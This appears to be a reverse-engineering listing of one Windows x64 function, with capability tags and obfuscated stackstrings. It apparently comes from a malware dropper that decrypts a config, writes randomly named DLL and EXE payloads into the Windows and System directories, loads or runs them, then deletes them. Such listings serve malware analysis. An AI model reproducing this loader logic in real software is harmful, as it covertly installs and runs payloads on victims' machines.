Function at 0x140013500
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Get common file path
Set file attributes

Disassembly:
mov r11, rsp
push rbx
push rbp
push r14
push r15
sub rsp, 0x5c8
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
xor eax, eax
xor r15d, r15d
lea ebx, [rcx + 0xfff]
mov byte [rsp + 0x200], al
mov byte [rsp + 0x240], al
mov byte [r11 - 0x388], r15b
mov qword [r11 - 0x387], rax
mov qword [r11 - 0x37f], rax
mov qword [r11 - 0x377], rax
mov qword [r11 - 0x3a7], rax
mov qword [r11 - 0x39f], rax
mov qword [r11 - 0x397], rax
mov qword [r11 - 0x3e7], rax
mov qword [r11 - 0x3df], rax
mov qword [r11 - 0x3d7], rax
mov qword [r11 - 0x3cf], rax
mov qword [r11 - 0x3c7], rax
mov qword [r11 - 0x3bf], rax
mov qword [r11 - 0x3b7], rax
shr ebx, 0xc
mov rbp, r8
mov r14d, edx
mov byte [rsp + 0x1f0], al
mov qword [r11 - 0x3f7], rax
mov byte [rsp + 0x1e0], al
mov qword [r11 - 0x407], rax
lea rcx, [r11 - 0x367]
inc ebx
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x4c], r15d
mov dword [rsp + 0x40], r15d
shl ebx, 0xc
mov dword [rsp + 0x279], eax
mov word [rsp + 0x27d], ax
mov byte [rsp + 0x27f], al
mov dword [rsp + 0x1f9], eax
mov word [rsp + 0x1fd], ax
mov byte [rsp + 0x1ff], al
mov dword [rsp + 0x259], eax
mov word [rsp + 0x25d], ax
mov byte [rsp + 0x25f], al
mov dword [rsp + 0x239], eax
mov word [rsp + 0x23d], ax
mov byte [rsp + 0x23f], al
mov dword [rsp + 0x1e9], eax
mov word [rsp + 0x1ed], ax
mov byte [rsp + 0x1ef], al
mov byte [rsp + 0x280], al
call fcn.1400167a0
lea rcx, [rsp + 0x391]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x390], r15b
call fcn.1400167a0
lea rcx, [rsp + 0x4a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x4a0], r15b
call fcn.1400167a0
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x184
call fcn.1400167a0
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.140001998
test eax, eax
jne 0x1400143d4
mov qword [rsp + 0x5f8], rsi
mov qword [rsp + 0x600], rdi
mov ecx, ebx
mov qword [rsp + 0x608], r12
mov qword [rsp + 0x5c0], r13
call fcn.140005330
mov ecx, 0x1000
mov r12, rax
call fcn.140005330
mov ecx, 0x500000
mov r13, rax
call fcn.140005330
mov rsi, rax
test r12, r12
je 0x140014386
test r13, r13
je 0x140014386
test rax, rax
je 0x140014386
lea r8, [rsp + 0x44]
mov edx, ebx
mov rcx, r12
call fcn.140001c24
mov ebx, eax
test eax, eax
jne 0x14001438b
mov eax, dword [rsp + 0x44]
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x260]
mov byte [rax + r12], r15b
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], 0x1000
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x260], 0x26745f53
mov dword [rsp + 0x264], 0x6e326366
mov dword [rsp + 0x268], 0x78306736
mov dword [rsp + 0x26c], 0x4d553538
mov byte [rsp + 0x250], r15b
mov dword [rsp + 0x200], 0x7473696c
mov dword [rsp + 0x204], 0x7478742e
mov byte [rsp + 0x208], r15b
call fcn.140009cc0
mov ebx, eax
test eax, eax
je 0x1400137e2
lea edx, [r15 + 1]
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5e], 1
call fcn.140001998
jmp 0x14001438b
mov eax, dword [rsp + 0x4c]
lea r8, [0x140150454]
lea rdx, str.hmd
lea rcx, str._ext_
mov byte [rax + r13], r15b
call fcn.140008540
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea rdx, [0x140025640]
lea rcx, [rsp + 0x280]
call fcn.140009e30
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.140009e30
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0xd0]
call fcn.140009e70
lea rcx, [rsp + 0x50]
mov edx, 1
call fcn.140001998
mov edi, r15d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov dword [rsp + 0x1f0], 0x5d70615b
mov byte [rsp + 0x1f4], dil
mov dword [rsp + 0x240], 0x3d72646c
mov byte [rsp + 0x244], dil
mov dword [rsp + 0x20], 0x40
call fcn.14000a2b0
cmp byte [rsp + 0x200], dil
je 0x140013a5c
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140009f20
mov rbx, rax
test rax, rax
je 0x140013937
lea rcx, [rax + 1]
mov dl, 1
mov byte [rax], dil
call fcn.14000a180
cmp byte [rbx + 1], dil
je 0x140013928
lea rcx, [rbx + 1]
call fcn.140017304
mov edi, eax
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.14000a180
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140013a5c
mov rcx, r15
nop
movzx eax, byte [rsp + rcx + 0x200]
inc rcx
mov byte [rsp + rcx + 0x77], al
test al, al
jne 0x140013980
lea rcx, [rsp + 0x50]
mov edx, 1
call fcn.140001998
mov eax, dword [rsp + 0x44]
mov r9d, dword [rsp + 0x40]
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x50]
mov r8, rsi
mov edx, edi
mov qword [rsp + 0x20], r12
call fcn.140013350
mov ebx, eax
test eax, eax
je 0x140013a5c
mov ebx, r15d
cmp dword [0x140150454], ebx
je 0x140013a5c
cmp edi, 1
je 0x140013a5c
xor edx, edx
mov r8d, 0x500000
mov rcx, rsi
mov dword [rsp + 0x40], r15d
call fcn.1400167a0
mov edx, dword [rsp + 0x44]
lea r11, [rsp + 0x40]
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x260]
mov qword [rsp + 0x30], r11
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov r9d, dword [rsp + 0x40]
mov ebx, eax
test r9d, r9d
je 0x140013a5c
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov r8, rsi
mov edx, 1
mov qword [rsp + 0x20], r12
call fcn.140013350
mov ebx, eax
test r14d, r14d
jne 0x14001438b
mov dword [rsp + 0x1f0], 0x5d646d5b
mov byte [rsp + 0x1f4], r15b
mov edi, r15d
nop dword [rax + rax]
lea ebp, [rdi + 1]
lea rdx, [0x140027554]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140016e00
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.14000a2b0
cmp byte [rsp + 0x200], r15b
je 0x140013b8c
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140009f20
test rax, rax
je 0x140013b3d
lea rcx, [rsp + 0x200]
mov dl, 1
mov byte [rax], r15b
call fcn.14000a180
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov r8d, dword [rsp + 0x40]
mov ebx, r15d
test r8d, r8d
je 0x140013b8c
mov rdx, rsi
mov ecx, edi
call fcn.1400132b0
mov edi, ebp
cmp ebp, 0xa
jb 0x140013a80
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea rdx, [0x140025640]
lea rcx, [rsp + 0x280]
call fcn.140009e30
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.140009e30
mov dword [rsp + 0x1f0], 0x5d646c5b
mov byte [rsp + 0x1f4], r15b
mov ebp, r15d
inc ebp
lea rdx, [0x140027554]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140016e00
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.14000a2b0
cmp byte [rsp + 0x200], r15b
je 0x140013e48
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140009f20
mov rdi, rax
test rax, rax
jne 0x140013ccb
lea rdi, [rsp + 0x200]
jmp 0x140013d44
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.14000a180
cmp byte [rdi], r15b
jne 0x140013d35
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 3
lea ecx, [rdx + rax]
and ecx, 3
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x642e7325
mov dword [rsp + 0x1e4], 0x6c6c
call fcn.140016e00
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.14000a180
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140013e48
call fcn.1400170e8
mov ecx, dword [rsp + 0x40]
cdq
add rcx, rsi
and edx, 0x1f
lea ebx, [rdx + rax]
and ebx, 0x1f
sub ebx, edx
lea edx, [rbx + 1]
call fcn.140007060
mov r11d, dword [rsp + 0x40]
mov rcx, rsi
lea edx, [rbx + r11 + 1]
call fcn.140003e34
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140009e70
lea rdx, [0x140025640]
lea rcx, [rsp + 0x390]
call fcn.140009e30
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.140009e30
mov r11d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
lea r8d, [rbx + r11 + 1]
xor r9d, r9d
mov rdx, rsi
call fcn.140005b90
mov ebx, eax
test eax, eax
je 0x140013e2c
mov ebx, r15d
jmp 0x140013e48
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140013e48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, r15d
cmp ebp, 0xa
jb 0x140013c10
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea rdx, [0x140025640]
lea rcx, [rsp + 0x280]
call fcn.140009e30
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.140009e30
mov dword [rsp + 0x1f0], 0x3665725b
mov dword [rsp + 0x1f4], 0x5d34
mov ebp, r15d
mov r14d, 0x6578
inc ebp
lea rdx, [0x140027554]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140016e00
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.14000a2b0
cmp byte [rsp + 0x200], r15b
je 0x140014128
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140009f20
mov rdi, rax
test rax, rax
jne 0x140013f8e
lea rdi, [rsp + 0x200]
jmp 0x140014005
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.14000a180
cmp byte [rdi], r15b
jne 0x140013ff6
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x652e7325
mov word [rsp + 0x1e4], r14w
call fcn.140016e00
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.14000a180
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140014128
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140009e70
lea rdx, [0x140025640]
lea rcx, [rsp + 0x390]
call fcn.140009e30
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.140009e30
mov r8d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
xor r9d, r9d
mov rdx, rsi
call fcn.140005b90
test eax, eax
jne 0x140014128
lea r8, [rsp + 0x390]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x4a0]
mov dword [rsp + 0x1e0], 0x22732522
mov byte [rsp + 0x1e4], bl
call fcn.140016e00
mov qword [rsp + 0x30], r15
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x4a0]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 1
call fcn.140006920
lea rcx, [rsp + 0x390]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp ebp, 0xa
jb 0x140013ed3
mov dword [rsp + 0x1f0], 0x5d65725b
mov byte [rsp + 0x1f4], r15b
mov ebp, r15d
inc ebp
lea rdx, [0x140027554]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140016e00
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.14000a2b0
cmp byte [rsp + 0x200], r15b
je 0x14001437b
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140009f20
mov rdi, rax
test rax, rax
jne 0x140014202
lea rdi, [rsp + 0x200]
jmp 0x140014279
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.14000a180
cmp byte [rdi], r15b
jne 0x14001426a
call fcn.1400170e8
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400058a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x652e7325
mov word [rsp + 0x1e4], r14w
call fcn.140016e00
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.14000a180
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140009cc0
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x14001437b
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140009e70
lea rdx, [0x140025640]
lea rcx, [rsp + 0x390]
call fcn.140009e30
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.140009e30
mov r8d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
xor r9d, r9d
mov rdx, rsi
call fcn.140005b90
test eax, eax
jne 0x14001437b
lea r8, [rsp + 0x390]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x4a0]
mov dword [rsp + 0x1e0], 0x22732522
mov byte [rsp + 0x1e4], bl
call fcn.140016e00
mov qword [rsp + 0x30], r15
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x4a0]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call fcn.140006920
cmp ebp, 0xa
jb 0x140014147
jmp 0x14001438b
mov ebx, 8
mov rdi, qword [rsp + 0x600]
test rsi, rsi
je 0x1400143a0
mov rcx, rsi
call fcn.1400170c8
mov rsi, qword [rsp + 0x5f8]
test r13, r13
je 0x1400143b5
mov rcx, r13
call fcn.1400170c8
mov r13, qword [rsp + 0x5c0]
test r12, r12
je 0x1400143ca
mov rcx, r12
call fcn.1400170c8
mov r12, qword [rsp + 0x608]
mov eax, ebx
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x5c8
pop r15
pop r14
pop rbp
pop rbx
ret